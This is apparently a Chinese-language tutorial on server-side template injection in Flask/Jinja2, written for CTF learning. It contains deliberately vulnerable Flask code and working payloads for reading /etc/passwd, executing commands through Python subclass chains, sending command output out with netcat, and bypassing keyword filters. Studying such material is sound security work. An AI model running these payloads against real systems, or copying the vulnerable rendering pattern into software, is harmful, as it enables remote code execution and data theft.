SSTI(服务器模板注入)学习

0x01 SSTI概念

SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造)。SSTI就是服务器端模板注入(Server-Side Template Injection)

说到注入,我们常见的注入有sql注入,sql注入我们都很熟悉,但SSTI和sql注入一样都是先从用户获得一个输入将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

0x02 SSTI原理

来看一个简单的源代码

from flask import Flask, request
from jinja2 import Template app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'guest') t = Template("Hello " + name)
return t.render() if __name__ == "__main__":
app.run()

这是一个典型的SSTI漏洞例子,成因是render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。

各框架模板结构:



更详细的服务器模板原理网上有很多,参考

SSTI模板注入

0x03 搭建Flask(Jinja2) 服务端模板注入漏洞环境

ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞

搭建好后直接访问

from flask import Flask
from flask import request, render_template_string, render_template app = Flask(__name__) @app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': '7d793037a0760186574b0282f2f435e7'
}
if request.args.get('name'):
person['name'] = request.args.get('name') template = '<h2>Hello %s!</h2>' % person['name'] return render_template_string(template, person=person) if __name__ == "__main__":
app.run(debug=True)

测试注入

传参/login?name={{7*7}}看有什么回显



可以看到把括号里面的7*7进行了计算,说明存在SSTI漏洞

那该怎么扩大漏洞利用范围呢,这就要讲到一些python知识(这个漏洞不止在python上,各种语言的模板都可以有,只是大多是python),这里先给一个漏洞利用方法

执行任意命令payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

内建函数

当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字​

我们主要关注的是内建名称空间,是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射​

dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些



这里面,我们可以看到__builtins__是做为默认初始模块出现的,那么用dir()命令看看__builtins__的成分



这里我们可以看到很多熟悉的模块都是初始自带的,比如:importstrlen等,因此python可以直接使用某些初始函数,比如直接使用len()函数



到这里可能会有点感觉,就是只要我们能找到一个预装模块或者类的内置方法,那么就可以直接使用这个方法搞事。

这里就得再说一下python的类

在python中

instance.class 可以获取当前实例的类对象,例如

''.__class__



这里返回的就是空字符串的类也就是,<type 'str'>

**class.mro **获取当前类对象的所有继承类'只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到



这里在python2中还会多一个basestring类

base 对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法



subclasses() 继承此对象的子类,返回一个列表

我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

更多函数模块参考:

沙盒逃逸常见函数

" ".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[-1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ......]

由于继承object的子类有很多,查阅起来不方便,可以列举一下

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
.........

可以发现在第四十号指向file类,所以就可以从file类中调用open方法

''.__class__.__mro__[-1].__subclasses__()[40]("/root/Desktop/ssti-test/app.py").read()



这里成功利用file对象的匿名实例化,并为其传参要读取的文件名,通过调用其读文件函数read就可以对文件进行读取了。

0x04 漏洞利用

在明白了基本原理后,来复现试一下,读取密码

''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()

命令执行

python环境下常用的命令执行方式。

os.system()

用法:os.system(command)

但是用这个无法回显

我们可以用这个

os.popen()

用法:os.popen(command[,mode[,bufsize]])

说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。

popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

还需要了解一个魔法函数

globals该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )



如果os被过滤了可以用

subprocess

1.subprocess.check_call()

Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

2.subprocess.check_output()

Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

3.subprocess.Popen(“command”)

说明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)

Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息。

__init__方法

__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

组合payload:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
e62b7adab33a40c6b6f483c31505f0f6
e62b7adab33a40c6b6f483c31505f0f6

无回显处理

当我们用os命令执行没回显时,可以用nc把回显发到vps上

vps:nc -lvp 1234
payload: ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')

#vps接收到回显
root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 123
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [xx.xxx.xx.xx] port 1234 [tcp/*] accepted (family 2, sport 46258)
app.py
ap.py
Config.py

反弹shell也是一样,有了命令执行,反弹shell应该是很方便了。

0x05 Bypass

在实战或者ctf里出现的SSTI大多不能直接利用,一般会过滤一些关键字,这就需要我们掌握更多姿势,下面介绍一些常见的

1.拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

2.过滤""[]

借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)

request变量可以访问所有已发送的参数,因此我们可以request.args.param用来检索新的paramGET参数的值,将其中的request.args改为request.values则利用post的方式进行传参

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

3.过滤双下划线__

还是request方法

{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

4.过滤一些函数名如__import__,

python的初始模块_builtin__里有很多危险的方法,一条路没了就找找其他的路

我们可以直接用 eval() exec() execfile()等

__builtins__.eval()

globals

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

0x06 参考

https://p0sec.net/index.php/archives/120/

https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/

https://www.anquanke.com/post/id/188172#h3-15

https://0day.work/jinja2-template-injection-filter-bypasses/

https://blog.csdn.net/zz_Caleb/article/details/96480967

SSTI(服务器模板注入)学习的更多相关文章

  1. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  2. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  3. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  4. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  5. CTF-flask模板注入学习

    今天又看到了一道这样的题,之前一直都学不明白的东西 反反复复给你看的时候,就想搞明白了. 我们做题的,需要知道flask是怎么运行的就行了. 这个就是一个最简单的flask应用,当我们访问的时候,就会 ...

  6. Flask模板注入

    Flask模板注入 Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞). Flask案例 一个简单的Flask应用案例: from flask import Flask,render_te ...

  7. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  8. SSTI(模板注入)

    SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...

  9. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

随机推荐

  1. 拓扑排序入门详解&&Educational Codeforces Round 72 (Rated for Div. 2)-----D

    https://codeforces.com/contest/1217 D:给定一个有向图,给图染色,使图中的环不只由一种颜色构成,输出每一条边的颜色 不成环的边全部用1染色 ps:最后输出需要注意, ...

  2. 1 - Apache HttpClient 简单使用

    Apache HttpClient 是Apache 开源的实现Http协议的java开源库. HttpClien 是客户端的HTTP通信实现库,实现HTTP GET 和POST请求,获取响应内容. A ...

  3. 前端笔记(关于css盒模型知识整理)

    我以前整理的文章可能也不是特别深入.所以现在开始尝试即使多花点时间收集整理,也不只发浅层知识,这样对技术的深入理解是很有帮助的. 废话不多说,我们现在开始. 说到css盒模型,这是大多面试基础中会经常 ...

  4. stand up meeting 1--11

    今天国庆同学回中科大考试因此缺席了今天的daily scrum.不过国庆的任务已经基本完成,不会影响项目进度. 今日更新: 分享功能已经完成一个版本,如下图为分享至邮件: 针对AP返回结果中没有Wor ...

  5. C语言二维数组超细讲解

    用一维数组处理二维表格,实际是可行的,但是会很复杂,特别是遇到二维表格的输入.处理和输出. 在你绞尽脑汁的时候,二维数组(一维数组的大哥)像电视剧里救美的英雄一样显现在你的面前,初识数组的朋友们还等什 ...

  6. Python生成一维码

    参考页面 https://pypi.org/project/python-barcode/ 利用python-barcode的库 一.安装python-barcode库 #安装前提条件库 pip in ...

  7. 【考试总结】欢乐模拟赛_Day1

    \(T1\) 题目描述 给出一个 \(n × n\) 的, 元素为自然数的矩阵. 这个矩阵有许许多多个子矩阵, 定义它的所有子矩阵形成的集合为 \(S\) . 对于一个矩阵 \(k\) , 定义 \( ...

  8. 数值计算方法实验之Newton 多项式插值(MATLAB代码)

    一.实验目的 在己知f(x),x∈[a,b]的表达式,但函数值不便计算或不知f(x),x∈[a,b]而又需要给出其在[a,b]上的值时,按插值原则f(xi)=yi (i=0,1,……, n)求出简单函 ...

  9. JasperReports入门教程(三):Paramters,Fields和Detail基本组件介绍

    JasperReports入门教程(三):Paramter,Field和Detail基本组件介绍 前言 前两篇博客带领大家进行了入门,做出了第一个例子.也解决了中文打印的问题.大家跟着例子也做出了de ...

  10. 2019-2020-1 20199328《Linux内核原理与分析》第九周作业

    笔记部分 2019/11/12 14:45:44 从CPU和内存的角度看linux系统的运行 CPU角度:首先我们进行了系统调度,然后系统进入内核态,把信息压栈,然后我们进行进程管理,由于进入系统调用 ...